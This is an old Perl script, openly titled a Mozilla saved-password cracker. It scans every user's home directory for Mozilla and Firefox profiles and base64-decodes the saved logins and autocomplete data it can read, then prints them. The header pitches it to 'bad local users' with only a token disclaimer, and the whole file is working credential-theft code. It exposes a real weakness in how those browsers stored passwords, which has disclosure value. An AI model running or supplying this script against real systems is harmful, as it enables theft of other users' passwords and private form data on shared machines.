#!/usr/bin/perl -Tw
#
# Mozilla saved password file cracker.
#
# Mozilla and its derivatives (including firefox, formerly known as firebird)
# don't take measures to ensure that the saved password files are properly protected
# which leaves them open for cracking by bad local users (like yourself) if 
# permissions allow the files to be read.  You'll be suprised how many you get!
#
# Only run this script if you understand what it does and have permission to view
# the data it may reveal.  Furthermore, I take no responsibility whatsoever for what
# you do (with this script or otherwise).  You've been warned.
#
# Jon Hart <warchild@spoofed.org>
# June 3, 2004
# All rights reserved.
#
#  Redistribution and use in source and binary forms, with or without modification, 
#  are permitted provided that the following conditions are met:
#
#  * Redistributions of source code must retain the above copyright notice, 
#    this list of conditions and the following disclaimer.
#  * Redistributions in binary form must reproduce the above copyright notice, 
#    this list of conditions and the following disclaimer in the documentation 
#    and/or other materials provided with the distribution.
#  * Neither the name of the organization nor the names of its contributors may
#    be used to endorse or promote products derived from this software without 
#    specific prior written permission.
#
#
#  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
#  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
#  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
#  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
#  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 
#  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
#  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 
#  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 
#  OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE 
#  USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
use MIME::Base64;

@mozdirs = (".mozilla", ".mozilla-firebird", ".mozilla-snapshot", ".firebird", ".firefox", ".phoenix");

opendir(HOME, "/home") or die "Couldn't open /home: $!\n";

while (defined($homedir = readdir(HOME))) {

   if ($homedir =~ /^\.\.?$/) { next; }
   $path = "/home/$homedir/";


   foreach $mozdir (@mozdirs) { 
      $path = "/home/$homedir/$mozdir/";

      if (-d $path && -r $path) {
         opendir(MOZDIR, "$path") or die "Couldn't open mozilla dir $path: $!\n";

         while (defined($profile = readdir(MOZDIR))) {
            if ($profile =~ /^\.\.?$/) { next; }
            $path = "/home/$homedir/$mozdir/$profile";

            if (-d $path && -r $path) {
               opendir(PROFDIR, "$path") or die "Couldn't open $path: $!\n";

               while (defined($profstuff = readdir(PROFDIR))) {
                  if ($profstuff =~ /^\.\.?$/) { next; }
                  $path = "/home/$homedir/$mozdir/$profile/$profstuff/";
                  if (-d $path && -r $path) {
                     opendir(GARBAGE, "$path") or die "Couldn't open $path: $!\n";

                     while (defined($goods = readdir(GARBAGE))) {
                        if ($goods =~ /^\.\.?$/) { next; }
                        $path = "/home/$homedir/$mozdir/$profile/$profstuff/$goods";
                        if (-f $path && -r $path) {
                           if ($path =~ /\.s$/) {
                              &rippasswds($path);
                           } elsif ($path =~/\.w$/) {
                              &ripautocomplete($path);
                           }
                        }
                     }
                     closedir(GARBAGE);
                  }
               }
               closedir(PROFDIR);
            }
         }
         closedir(MOZDIR);
      }
   }
}
closedir(HOME);

sub rippasswds {
   my $path = shift;
   open(PASSWDS, "$path") or die "Couldn't open passwords data file $path: $!\n";
   $which = 1;
   $foundsite = 0;
   $founddata = 0;
   $decode = 0;
   while (<PASSWDS>) {
      chomp();
      # the first few (up 'til the first '.') are sites that you don't save passwords for
      if (!$founddata && /^\.$/) {
         $founddata = 1;
         next;
      }

      if (/^\.$/) {
         # next part will be the site name
         $foundsite = 1;
         $decode = 0;
         next;
      }

      if ($foundsite) {
         $foundsite = 0;
         $decode = 1;
         if ($which == 1) { print("\nSaved passwords ripped from $path:\n"); }
         print("   Saved passwords for $_\n");
         next;
      }
   
      if ($decode) {
         if ($which % 2) {
            print("      $_ = ");
         } else {
            if (/^~/) {
               s/^~//;
               print(decode_base64($_), "\n");
            } else {
               print("$_ (Couldn't decode!)\n");
            }
         }
         $which++;
      }
   }
   close(PASSWDS);
}


sub ripautocomplete {
   my $path = shift;
   print("\nAutocomplete data ripped from $path:\n");
   open(AUTOCOMPLETE, "$path") or die "Couldn't open autocomplete data file $path: $!\n";
   $which = 1;
   while (<AUTOCOMPLETE>) {
      chomp();
      if (/^#/ || /^$/) { next; }
      if ($which % 2) {
         print("   $_ = ");
      } else {
         if (/^~/) {
            s/^~//;
            print(decode_base64($_), "\n");
         } else {
            print("$_ (Couldn't decode!)\n");
         }
      }
      $which++;
   }
   close(AUTOCOMPLETE);
}
